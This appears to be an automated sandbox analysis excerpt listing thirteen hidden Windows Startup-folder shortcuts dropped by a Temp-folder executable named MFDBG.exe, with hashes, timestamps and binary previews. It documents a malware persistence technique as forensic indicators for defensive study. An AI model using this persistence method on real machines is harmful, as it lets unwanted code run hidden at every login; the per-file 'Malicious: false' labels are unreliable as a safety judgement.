C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00d2931cb2094505a48961cfb41751e0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925832967071939
Encrypted:	false
SSDEEP:	24:8guBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89hEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1BD992AEA94F0337E8812DE37D143B6A
SHA1:	7B53D78D1CB9221835C4555109F2CAEFC96E39F0
SHA-256:	B51B0FE1FE5E0038A0925E02ED3AB2229166F55FCF692073737AC6D2EDC958B8
SHA-512:	1F91F52F42372DE363588DDED17AF225709784CEEA28179EC02CFADC5717C3E131626E4E179323CA65CDF16484ED3CEC7DB20220A8F825772F3977508865565F
Malicious:	false
Preview:	L..................F....".......d...,..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00f2168cdcc94d39bf8f091230064796.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9202427458243285
Encrypted:	false
SSDEEP:	24:8kBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1A6BCFD866DD652EA9815E412E86CEA0
SHA1:	125B3AD3E3532299FF431DD37E5630C45175746B
SHA-256:	060510825091AEE50829FEE9320EC405C06B36DD46E632277EAEE851E42A8EDC
SHA-512:	8E0275C4004D94C8FCD8FD6E12F754CA55EA43BCD80B3B67E841C0BBBE807E57B505E028EE4C2B9EF2E65FB14BEFAF7730134AF07D5759A95E187C65C091B601
Malicious:	false
Preview:	L..................F....".......d....D.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00fbb61619df4192a7334ef38985b634.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920490762804278
Encrypted:	false
SSDEEP:	24:8PrBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Pd2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EB6C70A57A5799CB2507924E5917ABA9
SHA1:	11ABC8A4C13E0FC163AA475A55523471A4EAA286
SHA-256:	C53836563D87A03D8A4A562A7930E765B223A058AFEC64FE8D223692F6F7A8EC
SHA-512:	205BF367457FE7E14C0D5CCB2B3930851D8B64D68B7D5CB721686D71DEACC32A1484B991235B4DC57F3F2F1DE83EA6223D0122E8C1E4B278F8A0F506829F3B24
Malicious:	false
Preview:	L..................F....".......d...S..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0126a68cb4674577b660915e3c740a3d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937663
Encrypted:	false
SSDEEP:	24:8VMBfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80HEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E71E415B9545BDA0EAC4E79037FAB964
SHA1:	97A9F9CCA9F16FD7AC4A5C7078C8C4E391C8E69F
SHA-256:	A3033471041E8658B001A1B69892C88E558FA93301385DB95DE0E570C557A462
SHA-512:	293706412F39E706DB54E4B3478C54A03F5025F3EECB99D4AD6EF815BEF5935E241DE0C71BA9902FEFC2F0687D824EECBE3E6F9D37EAD4626F26960AF8A67C41
Malicious:	false
Preview:	L..................F....".......d....<>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....<>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_012f6936ca4e4256add324c8edda1db3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919367222952355
Encrypted:	false
SSDEEP:	24:8D3Bfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DRpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	47BFCD9B9E86594019CB51F329268E2F
SHA1:	149813A98B0FB81A02DD8F79CB5A3C2192D57E78
SHA-256:	5A10E7F13EB7460ED711223FCAED0C62F7B4E46313A26F4CF5BC746C70E1A673
SHA-512:	EDC2181826E00EBF32E6BCB0F4C910A2F5ED0366AF159853A34178CBFF99AD8A249F0832EC91B9B111CB4704CD4F07373EC49E9553F6AC3FE96EE1F9179BA491
Malicious:	false
Preview:	L..................F....".......d.....V^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....K^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_013ffea819fc488093d47d9790d75aaf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9221894859636945
Encrypted:	false
SSDEEP:	24:8d33Bf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dB3FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D0430B8C96F1042E46C743F75D8391E0
SHA1:	CAC91B74BEFFFF8B5F23C0FF3D27943754D9B623
SHA-256:	92D8F52547A969082DFA37415FC5DEF31EAC864E5861F2CE7133190DBFA9695C
SHA-512:	A87313C8E7E842D8CBA994CB5308BE5C2896788BE2CFA4FEAFD3F4AB846DECC83D175F8C3182650D25EB66247BA16D374DA0A23F8157F4FB7693B0640E5C6F22
Malicious:	false
Preview:	L..................F....".......d... ..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0160d5de6c8c4bbc801e10bf876a823c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9278401001591705
Encrypted:	false
SSDEEP:	24:8aQBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ae4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	7521F8579A637FCE20F66BCE9BC7011B
SHA1:	BE415E8226039CDA22B1D2CBE76C4A8FE7A54B5B
SHA-256:	9AD028AE002FA8F0BBB6FF5D8A2218AA48DDB9E3AC0E1F2E04C7728810690F8B
SHA-512:	8A1E7FE147E675128049AD436EC0CC1DC8F14313175B53FEFB4C80888FA4A699997193671E1A6D7C6F26616A445558D2AB3637631E0F3D58D4DDD7D62AC6D287
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_017fa5d396194af19dcc5236e5b29d92.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.911766924007552
Encrypted:	false
SSDEEP:	24:8djBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dloEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EAB77F18A8ADDE32514FEC3FC457E64B
SHA1:	402BCB72FCFF4241A5EF61310CE1E4106DFFED61
SHA-256:	848771822D9FEAA6B4D4373BB1244E419B43E218C0F6BE96D91C34CD8F2EE08E
SHA-512:	C80A3580C8CBD23D9DFF655BA3F72F12753172A92B18791638C600DA63045B0C173E89CE18CA1F2E110F7E7E15504DE67BE85A070524D4C3AD4DF00ABA24E2B9
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...M..[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01cf196c2a88464e9a34157d562c1349.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916385656445523
Encrypted:	false
SSDEEP:	24:8LBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89REvZ0yRO7DLO2zdxdRd1kyg
MD5:	46546B1A187D0DBE2B7ABF3E57B9575E
SHA1:	0BF341DB3AFBE51B4864DB945A59A3030424EDA3
SHA-256:	09B83E1778BDA167EE7444ED5096A0F0BF06DA62B071A07B721DD3D2702545A8
SHA-512:	19C2025F158A44FADE8BBADBF9D9BAFCBA8EDF764E3D24ED95BF62239D1CEEF8C59776890F3A9AE0DB58DFC3317C1425C777DF3BC70733E9E0F04AE81C17A258
Malicious:	false
Preview:	L..................F....".......d......?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02cb9f4d6fc040b6ae59df078e9bcc8a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933251297912542
Encrypted:	false
SSDEEP:	24:8BBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8b4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	55E549857EC1EFF4848B9EF15C6B4D1D
SHA1:	A45952C99D9ADE6435E22569487956E556D6800F
SHA-256:	8A49F722ECFE804585B469993B82C8AED353FD5DA839057C1048031D378AB543
SHA-512:	B035D6A0D74D14E68AC584042587AE20653221946B74509D3FC3EBA65B9BC3D0CBEE9435C1D47E59D54F995321B668A250C05FC23D379FADAF54A694E0279E63
Malicious:	false
Preview:	L..................F....".......d....+.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_03e36d0ecf614d36ba2e60f94a9ece69.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925537740641915
Encrypted:	false
SSDEEP:	24:8VUBfE8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6A0D92C9BDB16A27599630186CD7D32F
SHA1:	AFD6E0293DA2BAB8603AFEEB8D37AC55455A2B7B
SHA-256:	75AD45EEA2FAFBBAFBF9B2633B18944B584FAC256430DD7ECD8DD27C78E1CB4E
SHA-512:	792A0E3AC49CE95ABAD092DFD6FA7091CB544378884BC96712ED8E1179B66671709B7E7985D987FDFF8DC9F6541080F8CBABA042F89A11552202692EABFC627A
Malicious:	false
Preview:	L..................F....".......d...h.=]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....%]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_03f97da98eae4ee19e93e8a0f04394be.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926077985621727
Encrypted:	false
SSDEEP:	24:8CBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8w8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	BDC102E0B8B35380E628950D4AB28DB1
SHA1:	6C21524742D553FC2569426B8C7B3114DED07B57
SHA-256:	092CA364D2ADDACAE07201387CAC27C379A69790B0341B36B24A5E8A6B9F1ED8
SHA-512:	AA92A47A9208FB0D08C23E690FAF421AB05F7C3ED4537761294919F05908E439B23DD475CFCE32811C5FF6ED5BCB62FBC2964D4A5E832B5ADDBFF9801D40B5FA
Malicious:	false
Preview:	L..................F....".......d.....c}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....v}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_04510135bc394ae98e381acc422fdf08.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917236634164601
Encrypted:	false
SSDEEP:	24:8OBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	603479175727B7C283D4960954B6CFFE
SHA1:	4D0D89EAEB1FA3812DCC46A1E69C5F5F84693F81
SHA-256:	85063392A3A04044BB0E6102562301BCAA1A4AC1A8C643C239A327D9500C2BD3
SHA-512:	FDE6B7A138731FC2181304A348D30401E00B620E32D1E3D1C16814D596A60759F6DE44471D0C66B19A87731329880A776BB7EB6055D47F5A8B4F6DAD1B2EE3C1
Malicious:	false
Preview:	L..................F....".......d...)..\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

